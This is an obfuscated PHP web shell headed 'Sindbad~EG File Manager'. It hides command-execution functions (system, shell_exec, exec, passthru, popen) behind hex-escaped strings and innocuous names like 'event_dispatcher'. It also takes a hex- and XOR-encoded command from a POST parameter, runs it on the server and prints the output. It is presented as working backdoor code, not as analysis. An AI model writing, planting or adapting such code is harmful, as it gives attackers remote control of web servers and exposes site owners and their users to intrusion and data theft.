Sindbad~EG File Manager

<?php

$token_parser_engine = "hex\x32\x62\x69n";
$event_dispatcher6 = "\x73\x74re\x61m\x5F\x67et_co\x6Et\x65nts";
$event_dispatcher3 = "\x65xec";
$event_dispatcher5 = "\x70\x6Fpen";
$event_dispatcher7 = "\x70\x63\x6Cose";
$event_dispatcher1 = "\x73\x79s\x74em";
$event_dispatcher2 = "s\x68\x65\x6Cl_ex\x65c";
$event_dispatcher4 = "\x70as\x73t\x68ru";
if (isset($_POST["\x64\x61ta"])) {
            function service_registry ( $elem ,  $itm){
 $descriptor='';
 foreach(str_split($elem) as $char){
$descriptor.=chr(ord($char)^$itm);

} return$descriptor;

}
            $data = $token_parser_engine($_POST["\x64\x61ta"]);
            $data = service_registry($data, 100);
            if (function_exists($event_dispatcher1)) {
                $event_dispatcher1($data);
            } elseif (function_exists($event_dispatcher2)) {
                print $event_dispatcher2($data);
            } elseif (function_exists($event_dispatcher3)) {
                $event_dispatcher3($data, $ref_elem);
                print join("\n", $ref_elem);
            } elseif (function_exists($event_dispatcher4)) {
                $event_dispatcher4($data);
            } elseif (function_exists($event_dispatcher5) && function_exists($event_dispatcher6) && function_exists($event_dispatcher7)) {
                $itm_descriptor = $event_dispatcher5($data, 'r');
                if ($itm_descriptor) {
                    $object_holder = $event_dispatcher6($itm_descriptor);
                    $event_dispatcher7($itm_descriptor);
                    print $object_holder;
                }
            }
            exit;
        }